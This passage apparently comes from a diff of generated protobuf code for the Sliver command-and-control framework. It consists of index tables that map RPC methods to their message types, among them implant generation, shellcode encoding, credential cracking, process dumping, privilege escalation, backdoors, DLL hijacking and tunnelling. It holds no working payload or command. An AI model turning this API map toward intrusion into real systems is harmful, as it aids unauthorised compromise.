rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 20, // 238: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 20, // 239: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 21, // 240: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 154, // 241: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 22, // 242: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 243: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 244: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 155, // 245: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 0, // 246: rpcpb.SliverRPC.GenerateSpoofMetadata:output_type -> commonpb.Empty - 156, // 247: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 248: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 156, // 249: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig - 155, // 250: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate - 0, // 251: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty - 157, // 252: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs - 158, // 253: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config - 0, // 254: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty - 34, // 255: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 256: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 159, // 257: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 160, // 258: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo - 161, // 259: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo - 162, // 260: rpcpb.SliverRPC.Crack:output_type -> clientpb.CrackResponse - 34, // 261: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 262: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 263: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 163, // 264: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 39, // 265: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 266: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 164, // 267: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 40, // 268: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 269: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 41, // 270: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 271: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 272: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 155, // 273: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 165, // 274: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 275: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 166, // 276: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 167, // 277: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 168, // 278: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 169, // 279: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 280: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 44, // 281: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 170, // 282: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 171, // 283: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 172, // 284: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 173, // 285: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 174, // 286: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 175, // 287: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 288: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 176, // 289: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 48, // 290: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 291: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 48, // 292: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 48, // 293: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 48, // 294: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 51, // 295: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 177, // 296: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 178, // 297: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 179, // 298: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 180, // 299: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 181, // 300: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 182, // 301: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 182, // 302: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 183, // 303: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 184, // 304: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 185, // 305: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 186, // 306: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 187, // 307: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 188, // 308: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 189, // 309: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep - 190, // 310: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 191, // 311: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 192, // 312: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 181, // 313: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 193, // 314: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 194, // 315: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 195, // 316: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount - 196, // 317: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 197, // 318: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 198, // 319: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 199, // 320: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 200, // 321: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 201, // 322: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 201, // 323: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 201, // 324: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 202, // 325: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 203, // 326: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 204, // 327: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 204, // 328: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 205, // 329: rpcpb.SliverRPC.ExecuteChildren:output_type -> sliverpb.ExecuteChildren - 206, // 330: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 207, // 331: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 208, // 332: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 209, // 333: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 210, // 334: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services - 211, // 335: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail - 212, // 336: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo - 213, // 337: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 338: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 214, // 339: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 215, // 340: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 212, // 341: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 212, // 342: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 212, // 343: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 216, // 344: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 217, // 345: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 218, // 346: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 219, // 347: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 220, // 348: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 221, // 349: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 222, // 350: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 223, // 351: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 224, // 352: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 225, // 353: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 226, // 354: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 227, // 355: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive - 228, // 356: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 229, // 357: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 230, // 358: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 231, // 359: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 232, // 360: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 231, // 361: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 117, // 362: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 363: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 233, // 364: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 234, // 365: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 235, // 366: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 236, // 367: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 237, // 368: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 238, // 369: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 239, // 370: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 239, // 371: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 240, // 372: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 240, // 373: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 241, // 374: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 242, // 375: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 243, // 376: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 0, // 377: rpcpb.SliverRPC.ShellResize:output_type -> commonpb.Empty - 244, // 378: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 134, // 379: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 380: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 135, // 381: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 136, // 382: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 383: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 137, // 384: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 34, // 385: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 193, // [193:386] is the sub-list for method output_type - 0, // [0:193] is the sub-list for method input_type + 136, // 189: rpcpb.SliverRPC.StartTriggerListener:input_type -> clientpb.TriggerListenerReq + 137, // 190: rpcpb.SliverRPC.TriggerIntents:input_type -> clientpb.TriggerIntentsReq + 138, // 191: rpcpb.SliverRPC.TriggerDispatchTask:input_type -> clientpb.TriggerDispatchTaskReq + 139, // 192: rpcpb.SliverRPC.TriggerFire:input_type -> clientpb.TriggerFireReq + 140, // 193: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 140, // 194: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 141, // 195: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 196: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 142, // 197: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 0, // 198: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 143, // 199: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators + 0, // 200: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 144, // 201: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 202: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 145, // 203: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 146, // 204: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 205: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 147, // 206: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders + 146, // 207: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response + 146, // 208: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response + 148, // 209: rpcpb.SliverRPC.GetAIProviders:output_type -> clientpb.AIProviderConfigs + 149, // 210: rpcpb.SliverRPC.GetAIConversations:output_type -> clientpb.AIConversations + 7, // 211: rpcpb.SliverRPC.GetAIConversation:output_type -> clientpb.AIConversation + 7, // 212: rpcpb.SliverRPC.SaveAIConversation:output_type -> clientpb.AIConversation + 0, // 213: rpcpb.SliverRPC.DeleteAIConversation:output_type -> commonpb.Empty + 150, // 214: rpcpb.SliverRPC.GetAIConversationMessages:output_type -> clientpb.AIConversationMessages + 8, // 215: rpcpb.SliverRPC.SaveAIConversationMessage:output_type -> clientpb.AIConversationMessage + 151, // 216: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob + 151, // 217: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob + 151, // 218: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob + 151, // 219: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob + 151, // 220: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob + 152, // 221: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 13, // 222: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 223: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 153, // 224: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 14, // 225: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 14, // 226: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 0, // 227: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty + 154, // 228: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 155, // 229: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 0, // 230: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty + 156, // 231: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 19, // 232: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 233: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 19, // 234: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 19, // 235: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 157, // 236: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 20, // 237: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 238: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 239: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 240: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 21, // 241: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 20, // 242: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 20, // 243: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 21, // 244: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 158, // 245: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 22, // 246: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 247: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 248: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 159, // 249: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 0, // 250: rpcpb.SliverRPC.GenerateSpoofMetadata:output_type -> commonpb.Empty + 160, // 251: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 252: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 160, // 253: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig + 159, // 254: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate + 0, // 255: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty + 161, // 256: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs + 162, // 257: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config + 0, // 258: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty + 34, // 259: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 260: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 163, // 261: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 164, // 262: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo + 165, // 263: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo + 166, // 264: rpcpb.SliverRPC.Crack:output_type -> clientpb.CrackResponse + 34, // 265: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 266: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 267: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 167, // 268: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 39, // 269: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 270: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 168, // 271: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 40, // 272: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 273: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 41, // 274: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 275: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 276: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 159, // 277: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 169, // 278: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 279: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 170, // 280: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 171, // 281: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 172, // 282: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 173, // 283: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 284: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 44, // 285: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 174, // 286: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 175, // 287: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 176, // 288: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 177, // 289: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 178, // 290: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 179, // 291: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 292: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 180, // 293: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 48, // 294: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 295: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 48, // 296: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 48, // 297: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 48, // 298: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 51, // 299: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 181, // 300: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 182, // 301: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 183, // 302: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 184, // 303: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 185, // 304: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 186, // 305: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 186, // 306: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 187, // 307: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 188, // 308: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 189, // 309: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 190, // 310: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 191, // 311: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 192, // 312: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 193, // 313: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep + 194, // 314: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 195, // 315: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 196, // 316: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 185, // 317: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 197, // 318: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 198, // 319: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 199, // 320: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount + 200, // 321: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 201, // 322: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 202, // 323: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 203, // 324: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 204, // 325: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 205, // 326: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 205, // 327: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 205, // 328: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 206, // 329: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 207, // 330: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 208, // 331: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 208, // 332: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 209, // 333: rpcpb.SliverRPC.ExecuteChildren:output_type -> sliverpb.ExecuteChildren + 210, // 334: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 211, // 335: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 212, // 336: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 213, // 337: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 214, // 338: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services + 215, // 339: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail + 216, // 340: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo + 217, // 341: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 342: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 218, // 343: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 219, // 344: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 216, // 345: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 216, // 346: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 216, // 347: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 220, // 348: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 221, // 349: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 222, // 350: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 223, // 351: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 224, // 352: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 225, // 353: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 226, // 354: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 227, // 355: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 228, // 356: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 229, // 357: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 230, // 358: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 231, // 359: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive + 232, // 360: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 233, // 361: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 234, // 362: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 235, // 363: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 236, // 364: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 235, // 365: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 117, // 366: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 367: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 237, // 368: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 238, // 369: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 239, // 370: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 240, // 371: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 241, // 372: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 242, // 373: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 243, // 374: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 243, // 375: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 244, // 376: rpcpb.SliverRPC.WGStartSocks:output_type -> 